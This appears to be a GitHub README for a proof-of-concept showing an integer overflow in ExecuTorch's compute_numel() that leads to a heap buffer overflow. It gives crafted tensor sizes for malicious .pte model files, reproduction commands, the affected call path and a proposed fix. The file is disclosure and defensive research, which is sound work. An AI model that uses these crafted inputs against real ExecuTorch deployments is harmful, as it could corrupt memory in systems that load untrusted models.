0xiviel/poc-executorch-numel-overflow

PoC: ExecuTorch compute_numel() Integer Overflow

CVE: Pending CWE: CWE-190 (Integer Overflow) → CWE-122 (Heap Buffer Overflow) Target: pytorch/executorch Severity: High (CVSS 7.5) Format: .pte (FlatBuffer, identifier ET12)

Vulnerability

compute_numel() in runtime/core/portable_type/tensor_impl.cpp:41 performs unchecked signed integer multiplication when calculating the total number of elements in a tensor:

ssize_t compute_numel(const TensorImpl::SizesType* sizes, ssize_t dim) {
    ssize_t numel = 1;
    for (const auto i : c10::irange(dim)) {
        numel *= sizes[i];  // NO OVERFLOW CHECK — signed overflow is UB
    }
    return numel;
}

Tensor dimensions are read from the .pte model file (FlatBuffer sizes: [int]). A malicious file with crafted dimensions causes the multiplication to overflow int64, producing an incorrect numel that propagates to nbytes() → undersized memory allocation → heap buffer overflow.

Files

File	Description
poc_executorch_numel_overflow.py	Generator script — creates malicious .pte files and demonstrates the overflow
poc_executorch_overflow.pte	Crafted .pte — sizes [2147483647, 2147483647, 3] → numel overflows to negative
poc_executorch_zero_numel.pte	Crafted .pte — sizes [65536, 65536, 65536, 65536] → numel wraps to zero

Exploitation Variants

Variant 1: Overflow to negative (poc_executorch_overflow.pte)

Sizes: [2147483647, 2147483647, 3]
Step 1: numel = 1 × 2147483647 = 2147483647
Step 2: numel = 2147483647 × 2147483647 = 4611686014132420609
Step 3: numel = 4611686014132420609 × 3 = OVERFLOW (> INT64_MAX)

UBSan output: signed integer overflow: 4611686014132420609 * 3 cannot be represented in type 'long int'

Variant 2: Overflow to zero (poc_executorch_zero_numel.pte)

Sizes: [65536, 65536, 65536, 65536]
Product: 65536⁴ = 2⁶⁴ → wraps to 0
nbytes = 0 × element_size = 0
→ Zero-size allocation, but tensor has 2⁶⁴ elements
→ ANY memory access is out-of-bounds

Reproduction

# 1. Generate PoC files
pip install flatbuffers
python3 poc_executorch_numel_overflow.py

# 2. Build ExecuTorch with UBSan
git clone --depth 1 https://github.com/pytorch/executorch /tmp/executorch
cd /tmp/executorch && mkdir build && cd build
cmake .. -DCMAKE_CXX_FLAGS="-fsanitize=undefined -fno-sanitize-recover=all -g"
make -j$(nproc) executor_runner

# 3. Load malicious model → UBSan fires
./executor_runner --model_path poc_executorch_overflow.pte

Affected Code Path

Malicious .pte → Program::load() → Method::init() → parseTensor()
  → tensor_parser_portable.cpp:157 → new TensorImpl(sizes)
    → compute_numel(): numel *= sizes[i]  ← OVERFLOW
      → nbytes(): numel_ × elementSize  ← wrong value
        → getTensorDataPtr(nbytes)  ← undersized alloc
          → kernel execution → HEAP BUFFER OVERFLOW

Fix

The same codebase already has c10::mul_overflows() in method_meta.cpp — it just needs to be applied here too:

ssize_t new_numel;
ET_CHECK_MSG(
    !__builtin_mul_overflow(numel, sizes[i], &new_numel),
    "Integer overflow in numel at dim %zd", i);
numel = new_numel;